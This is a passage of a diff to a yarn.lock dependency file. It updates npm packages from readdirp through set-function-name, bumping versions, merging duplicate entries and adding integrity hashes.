+  integrity sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==
+  dependencies:
+    inherits "^2.0.3"
+    string_decoder "^1.1.1"
+    util-deprecate "^1.0.1"
+
 readdirp@~3.6.0:
   version "3.6.0"
   resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.6.0.tgz#74a370bd857116e245b29cc97340cd431a02a6c7"
@@ -7380,11 +8130,11 @@ readdirp@~3.6.0:
     picomatch "^2.2.1"
 
 recursive-readdir@^2.2.2:
-  version "2.2.2"
-  resolved "https://registry.yarnpkg.com/recursive-readdir/-/recursive-readdir-2.2.2.tgz#9946fb3274e1628de6e36b2f6714953b4845094f"
-  integrity sha512-nRCcW9Sj7NuZwa2XvH9co8NPeXUBhZP7CRKJtU+cS6PW9FpCIFoI5ib0NT1ZrbNuPoRy0ylyCaUL8Gih4LSyFg==
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/recursive-readdir/-/recursive-readdir-2.2.3.tgz#e726f328c0d69153bcabd5c322d3195252379372"
+  integrity sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==
   dependencies:
-    minimatch "3.0.4"
+    minimatch "^3.0.5"
 
 redent@^3.0.0:
   version "3.0.0"
@@ -7394,88 +8144,65 @@ redent@^3.0.0:
     indent-string "^4.0.0"
     strip-indent "^3.0.0"
 
-regenerate-unicode-properties@^10.0.1:
-  version "10.0.1"
-  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.0.1.tgz#7f442732aa7934a3740c779bb9b3340dccc1fb56"
-  integrity sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw==
-  dependencies:
-    regenerate "^1.4.2"
-
 regenerate-unicode-properties@^10.1.0:
-  version "10.1.0"
-  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz#7c3192cab6dd24e21cb4461e5ddd7dd24fa8374c"
-  integrity sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==
+  version "10.1.1"
+  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.1.tgz#6b0e05489d9076b04c436f318d9b067bba459480"
+  integrity sha512-X007RyZLsCJVVrjgEFVpLUTZwyOZk3oiL75ZcuYjlIWd6rNJtOjkBwQc5AsRrpbKVkxN6sklw/k/9m2jJYOf8Q==
   dependencies:
     regenerate "^1.4.2"
 
-regenerate-unicode-properties@^8.1.0:
-  version "8.1.0"
-  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-8.1.0.tgz#ef51e0f0ea4ad424b77bf7cb41f3e015c70a3f0e"
+regenerate-unicode-properties@^9.0.0:
+  version "9.0.0"
+  resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-9.0.0.tgz#54d09c7115e1f53dc2314a974b32c1c344efe326"
+  integrity sha512-3E12UeNSPfjrgwjkR81m5J7Aw/T55Tu7nUyZVQYCKEOs+2dkxEY+DpPtZzO4YruuiPb7NkYLVcyJC4+zCbk5pA==
   dependencies:
-    regenerate "^1.4.0"
-
-regenerate@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.0.tgz#4a856ec4b56e4077c557589cae85e7a4c8869a11"
+    regenerate "^1.4.2"
 
 regenerate@^1.4.2:
   version "1.4.2"
   resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.2.tgz#b9346d8827e8f5a32f7ba29637d398b69014848a"
   integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==
 
-regenerator-runtime@^0.13.11:
+regenerator-runtime@^0.13.11, regenerator-runtime@^0.13.4:
   version "0.13.11"
   resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz#f6dca3e7ceec20590d07ada785636a90cdca17f9"
   integrity sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==
 
-regenerator-runtime@^0.13.4:
-  version "0.13.7"
-  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.7.tgz#cac2dacc8a1ea675feaabaeb8ae833898ae46f55"
-  integrity sha512-a54FxoJDIr27pgf7IgeQGxmqUNYrcV338lf/6gH456HZ/PhX+5BcwHXG9ajESmwe6WRO0tAzRUrRmNONWgkrew==
-
-regenerator-transform@^0.15.0:
-  version "0.15.0"
-  resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.15.0.tgz#cbd9ead5d77fae1a48d957cf889ad0586adb6537"
-  integrity sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==
-  dependencies:
-    "@babel/runtime" "^7.8.4"
-
-regenerator-transform@^0.15.1:
-  version "0.15.1"
-  resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.15.1.tgz#f6c4e99fc1b4591f780db2586328e4d9a9d8dc56"
-  integrity sha512-knzmNAcuyxV+gQCufkYcvOqX/qIIfHLv0u5x79kRxuGojfYVky1f15TzZEu2Avte8QGepvUNTnLskf8E6X6Vyg==
+regenerator-transform@^0.15.0, regenerator-transform@^0.15.1:
+  version "0.15.2"
+  resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.15.2.tgz#5bbae58b522098ebdf09bca2f83838929001c7a4"
+  integrity sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==
   dependencies:
     "@babel/runtime" "^7.8.4"
 
 regex-parser@^2.2.11:
-  version "2.2.11"
-  resolved "https://registry.yarnpkg.com/regex-parser/-/regex-parser-2.2.11.tgz#3b37ec9049e19479806e878cabe7c1ca83ccfe58"
-  integrity sha512-jbD/FT0+9MBU2XAZluI7w2OBs1RBi6p9M83nkoZayQXXU9e8Robt69FcZc7wU4eJD/YFTjn1JdCk3rbMJajz8Q==
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/regex-parser/-/regex-parser-2.3.0.tgz#4bb61461b1a19b8b913f3960364bb57887f920ee"
+  integrity sha512-TVILVSz2jY5D47F4mA4MppkBrafEaiUWJO/TcZHEIuI13AqoZMkK1WMA4Om1YkYbTx+9Ki1/tSUXbceyr9saRg==
 
-regexpu-core@^4.6.0:
-  version "4.6.0"
-  resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-4.6.0.tgz#2037c18b327cfce8a6fea2a4ec441f2432afb8b6"
+regexp.prototype.flags@^1.5.2:
+  version "1.5.2"
+  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.2.tgz#138f644a3350f981a858c44f6bb1a61ff59be334"
+  integrity sha512-NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw==
   dependencies:
-    regenerate "^1.4.0"
-    regenerate-unicode-properties "^8.1.0"
-    regjsgen "^0.5.0"
-    regjsparser "^0.6.0"
-    unicode-match-property-ecmascript "^1.0.4"
-    unicode-match-property-value-ecmascript "^1.1.0"
+    call-bind "^1.0.6"
+    define-properties "^1.2.1"
+    es-errors "^1.3.0"
+    set-function-name "^2.0.1"
 
-regexpu-core@^5.1.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-5.1.0.tgz#2f8504c3fd0ebe11215783a41541e21c79942c6d"
-  integrity sha512-bb6hk+xWd2PEOkj5It46A16zFMs2mv86Iwpdu94la4S3sJ7C973h2dHpYKwIBGaWSO7cIRJ+UX0IeMaWcO4qwA==
+regexpu-core@^4.6.0:
+  version "4.8.0"
+  resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-4.8.0.tgz#e5605ba361b67b1718478501327502f4479a98f0"
+  integrity sha512-1F6bYsoYiz6is+oz70NWur2Vlh9KWtswuRuzJOfeYUrfPX2o8n74AnUVaOGDbUqVGO9fNHu48/pjJO4sNVwsOg==
   dependencies:
     regenerate "^1.4.2"
-    regenerate-unicode-properties "^10.0.1"
-    regjsgen "^0.6.0"
-    regjsparser "^0.8.2"
+    regenerate-unicode-properties "^9.0.0"
+    regjsgen "^0.5.2"
+    regjsparser "^0.7.0"
     unicode-match-property-ecmascript "^2.0.0"
     unicode-match-property-value-ecmascript "^2.0.0"
 
-regexpu-core@^5.3.1:
+regexpu-core@^5.1.0, regexpu-core@^5.3.1:
   version "5.3.2"
   resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-5.3.2.tgz#11a2b06884f3527aec3e93dbbf4a3b958a95546b"
   integrity sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==
@@ -7487,25 +8214,15 @@ regexpu-core@^5.3.1:
     unicode-match-property-ecmascript "^2.0.0"
     unicode-match-property-value-ecmascript "^2.1.0"
 
-regjsgen@^0.5.0:
-  version "0.5.1"
-  resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.5.1.tgz#48f0bf1a5ea205196929c0d9798b42d1ed98443c"
-
-regjsgen@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.6.0.tgz#83414c5354afd7d6627b16af5f10f41c4e71808d"
-  integrity sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA==
-
-regjsparser@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.6.0.tgz#f1e6ae8b7da2bae96c99399b868cd6c933a2ba9c"
-  dependencies:
-    jsesc "~0.5.0"
+regjsgen@^0.5.2:
+  version "0.5.2"
+  resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.5.2.tgz#92ff295fb1deecbf6ecdab2543d207e91aa33733"
+  integrity sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==
 
-regjsparser@^0.8.2:
-  version "0.8.4"
-  resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.8.4.tgz#8a14285ffcc5de78c5b95d62bbf413b6bc132d5f"
-  integrity sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA==
+regjsparser@^0.7.0:
+  version "0.7.0"
+  resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.7.0.tgz#a6b667b54c885e18b52554cb4960ef71187e9968"
+  integrity sha512-A4pcaORqmNMDVwUjWoTzuhwMGpP+NykpfqAsEgI1FSH/EzC7lrN5TMd+kN8YCovX+jMpu8eaqXgXPCa0g8FQNQ==
   dependencies:
     jsesc "~0.5.0"
 
@@ -7519,7 +8236,7 @@ regjsparser@^0.9.1:
 relateurl@^0.2.7:
   version "0.2.7"
   resolved "https://registry.yarnpkg.com/relateurl/-/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9"
-  integrity sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=
+  integrity sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==
 
 renderkid@^3.0.0:
   version "3.0.0"
@@ -7535,12 +8252,18 @@ renderkid@^3.0.0:
 require-directory@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
+  integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
 
 require-from-string@^2.0.2:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909"
   integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==
 
+requires-port@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/requires-port/-/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff"
+  integrity sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==
+
 resolve-cwd@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-3.0.0.tgz#0f0075f1bb2544766cf73ba6a6e2adfebcb13f2d"
@@ -7551,6 +8274,7 @@ resolve-cwd@^3.0.0:
 resolve-from@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
 
 resolve-from@^5.0.0:
   version "5.0.0"
@@ -7569,42 +8293,19 @@ resolve-url-loader@^4.0.0:
     source-map "0.6.1"
 
 resolve.exports@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/resolve.exports/-/resolve.exports-1.1.0.tgz#5ce842b94b05146c0e03076985d1d0e7e48c90c9"
-  integrity sha512-J1l+Zxxp4XK3LUDZ9m60LRJF/mAe4z6a4xyabPHk7pvK5t35dACV32iIjJDFeWZFfZlO29w6SZ67knR0tHzJtQ==
-
-resolve@^1.1.7, resolve@^1.20.0, resolve@^1.22.1:
-  version "1.22.1"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.1.tgz#27cb2ebb53f91abb49470a928bba7558066ac177"
-  integrity sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==
-  dependencies:
-    is-core-module "^2.9.0"
-    path-parse "^1.0.7"
-    supports-preserve-symlinks-flag "^1.0.0"
-
-resolve@^1.14.2:
-  version "1.19.0"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.19.0.tgz#1af5bf630409734a067cae29318aac7fa29a267c"
-  integrity sha512-rArEXAgsBG4UgRGcynxWIWKFvh/XZCcS8UJdHhwy91zwAvCZIbcs+vAbflgBnNjYMs/i/i+/Ux6IZhML1yPvxg==
-  dependencies:
-    is-core-module "^2.1.0"
-    path-parse "^1.0.6"
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/resolve.exports/-/resolve.exports-1.1.1.tgz#05cfd5b3edf641571fd46fa608b610dda9ead999"
+  integrity sha512-/NtpHNDN7jWhAaQ9BvBUYZ6YTXsRBgfqWFWP7BZBaoMJO/I3G5OFzvTuWNlZC3aPjins1F+TNrLKsGbH4rfsRQ==
 
-resolve@^1.19.0:
-  version "1.22.2"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.2.tgz#0ed0943d4e301867955766c9f3e1ae6d01c6845f"
-  integrity sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==
+resolve@^1.1.7, resolve@^1.14.2, resolve@^1.19.0, resolve@^1.20.0, resolve@^1.22.2, resolve@^1.3.2:
+  version "1.22.8"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.8.tgz#b6c87a9f2aa06dfab52e3d70ac8cde321fa5a48d"
+  integrity sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==
   dependencies:
-    is-core-module "^2.11.0"
+    is-core-module "^2.13.0"
     path-parse "^1.0.7"
     supports-preserve-symlinks-flag "^1.0.0"
 
-resolve@^1.3.2:
-  version "1.8.1"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.8.1.tgz#82f1ec19a423ac1fbd080b0bab06ba36e84a7a26"
-  dependencies:
-    path-parse "^1.0.5"
-
 reusify@^1.0.4:
   version "1.0.4"
   resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
@@ -7618,24 +8319,52 @@ rimraf@^3.0.0:
     glob "^7.1.3"
 
 run-parallel@^1.1.9:
-  version "1.1.10"
-  resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.1.10.tgz#60a51b2ae836636c81377df16cb107351bcd13ef"
-  integrity sha512-zb/1OuZ6flOlH6tQyMPUrE3x3Ulxjlo9WIVXR4yVYi4H9UXQaeIsPbLn2R3O3vQCnDKkAl2qHiuocKKX4Tz/Sw==
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee"
+  integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==
+  dependencies:
+    queue-microtask "^1.2.2"
 
 rxjs@^7.0.0:
-  version "7.5.6"
-  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-7.5.6.tgz#0446577557862afd6903517ce7cae79ecb9662bc"
-  integrity sha512-dnyv2/YsXhnm461G+R/Pe5bWP41Nm6LBXEYWI6eiFP4fiwx6WRI/CD0zbdVAudd9xwLEF2IDcKXLHit0FYjUzw==
+  version "7.8.1"
+  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-7.8.1.tgz#6f6f3d99ea8044291efd92e7c7fcf562c4057543"
+  integrity sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==
   dependencies:
     tslib "^2.1.0"
 
-safe-buffer@5.1.2, safe-buffer@^5.1.0, safe-buffer@~5.1.1:
+safe-array-concat@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.2.tgz#81d77ee0c4e8b863635227c721278dd524c20edb"
+  integrity sha512-vj6RsCsWBCf19jIeHEfkRMw8DPiBb+DMXklQ/1SGDHOMlHdPUkZXFQ2YdplS23zESTijAcurb1aSgJA3AgMu1Q==
+  dependencies:
+    call-bind "^1.0.7"
+    get-intrinsic "^1.2.4"
+    has-symbols "^1.0.3"
+    isarray "^2.0.5"
+
+safe-buffer@5.1.2, safe-buffer@~5.1.1:
   version "5.1.2"
   resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
+  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
+
+safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@~5.2.0:
+  version "5.2.1"
+  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
+  integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
+
+safe-regex-test@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.0.3.tgz#a5b4c0f06e0ab50ea2c395c14d8371232924c377"
+  integrity sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw==
+  dependencies:
+    call-bind "^1.0.6"
+    es-errors "^1.3.0"
+    is-regex "^1.1.4"
 
 "safer-buffer@>= 2.1.2 < 3", "safer-buffer@>= 2.1.2 < 3.0.0":
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
+  integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
 
 sanitize.css@*:
   version "13.0.0"
@@ -7653,6 +8382,7 @@ sass-loader@^12.3.0:
 sax@~1.2.4:
   version "1.2.4"
   resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9"
+  integrity sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==
 
 saxes@^5.0.1:
   version "5.0.1"
@@ -7661,12 +8391,10 @@ saxes@^5.0.1:
   dependencies:
     xmlchars "^2.2.0"
 
-scheduler@0.0.0-experimental-6ff1733e6-20230225:
-  version "0.0.0-experimental-6ff1733e6-20230225"
-  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.0.0-experimental-6ff1733e6-20230225.tgz#9de04947f82afa784de799aa09aaad92ee67cb19"
-  integrity sha512-YDyRM4ohU6NmzsbiJ/UUdRB4ulz27n+3Su8LZ8cENrQDuu2us3sPN+y8CMGeqaNYJlS0GQTHNcLa2LZIK9BP5Q==
-  dependencies:
-    loose-envify "^1.1.0"
+scheduler@0.0.0-experimental-6ebfd5b0-20240818:
+  version "0.0.0-experimental-6ebfd5b0-20240818"
+  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.0.0-experimental-6ebfd5b0-20240818.tgz#583c91937f8fdde51726cf1735cdb323eb86adf2"
+  integrity sha512-/a4bME9pxUZOLPL8ktBU4JtqYXPk2lRslukGB93gWygXbSoNpdVfVFoSyiUlLk1bDXN0iV5NaKv3PWHOhmOn+w==
 
 schema-utils@2.7.0:
   version "2.7.0"
@@ -7686,7 +8414,7 @@ schema-utils@^2.6.5:
     ajv "^6.12.4"
     ajv-keywords "^3.5.2"
 
-schema-utils@^3.0.0, schema-utils@^3.1.0, schema-utils@^3.1.1:
+schema-utils@^3.0.0, schema-utils@^3.1.1, schema-utils@^3.2.0:
   version "3.3.0"
   resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-3.3.0.tgz#f50a88877c3c01652a15b622ae9e9795df7a60fe"
   integrity sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==
@@ -7695,54 +8423,64 @@ schema-utils@^3.0.0, schema-utils@^3.1.0, schema-utils@^3.1.1:
     ajv "^6.12.5"
     ajv-keywords "^3.5.2"
 
-schema-utils@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-4.0.0.tgz#60331e9e3ae78ec5d16353c467c34b3a0a1d3df7"
-  integrity sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==
+schema-utils@^4.0.0, schema-utils@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-4.2.0.tgz#70d7c93e153a273a805801882ebd3bff20d89c8b"
+  integrity sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==
   dependencies:
     "@types/json-schema" "^7.0.9"
-    ajv "^8.8.0"
+    ajv "^8.9.0"
     ajv-formats "^2.1.1"
-    ajv-keywords "^5.0.0"
+    ajv-keywords "^5.1.0"
 
 semver@7.0.0, semver@~7.0.0:
   version "7.0.0"
   resolved "https://registry.yarnpkg.com/semver/-/semver-7.0.0.tgz#5f3ca35761e47e05b206c6daff2cf814f0316b8e"
   integrity sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==
 
-semver@^5.3.0, semver@^5.4.1:
-  version "5.5.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.5.1.tgz#7dfdd8814bdb7cabc7be0fb1d734cfb66c940477"
-
-semver@^5.7.1:
-  version "5.7.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
-  integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
+semver@^5.3.0, semver@^5.4.1, semver@^5.7.1:
+  version "5.7.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8"
+  integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==
 
 semver@^6.0.0, semver@^6.1.1, semver@^6.1.2, semver@^6.3.0:
-  version "6.3.0"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d"
+  version "6.3.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
+  integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
+
+semver@^7.3.2, semver@^7.3.5:
+  version "7.6.3"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.6.3.tgz#980f7b5550bc175fb4dc09403085627f9eb33143"
+  integrity sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==
 
-semver@^7.3.2:
-  version "7.3.4"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.4.tgz#27aaa7d2e4ca76452f98d3add093a72c943edc97"
-  integrity sha512-tCfb2WLjqFAtXn4KEdxIhalnRtoKFN7nAwj0B3ZXCbQloV2tq5eDbcTmT68JJD3nRJq24/XgxtQKFIpQdtvmVw==
+serialize-javascript@^6.0.0, serialize-javascript@^6.0.1:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-6.0.2.tgz#defa1e055c83bf6d59ea805d8da862254eb6a6c2"
+  integrity sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==
   dependencies:
-    lru-cache "^6.0.0"
+    randombytes "^2.1.0"
 
-semver@^7.3.5:
-  version "7.3.7"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.7.tgz#12c5b649afdbf9049707796e22a4028814ce523f"
-  integrity sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==
+set-function-length@^1.2.1:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
+  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
   dependencies:
-    lru-cache "^6.0.0"
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
 
-serialize-javascript@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/serialize-javascript/-/serialize-javascript-6.0.0.tgz#efae5d88f45d7924141da8b5c3a7a7e663fefeb8"
-  integrity sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==
+set-function-name@^2.0.1:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz#16a705c5a0dc2f5e638ca96d8a8cd4e1c2b90985"
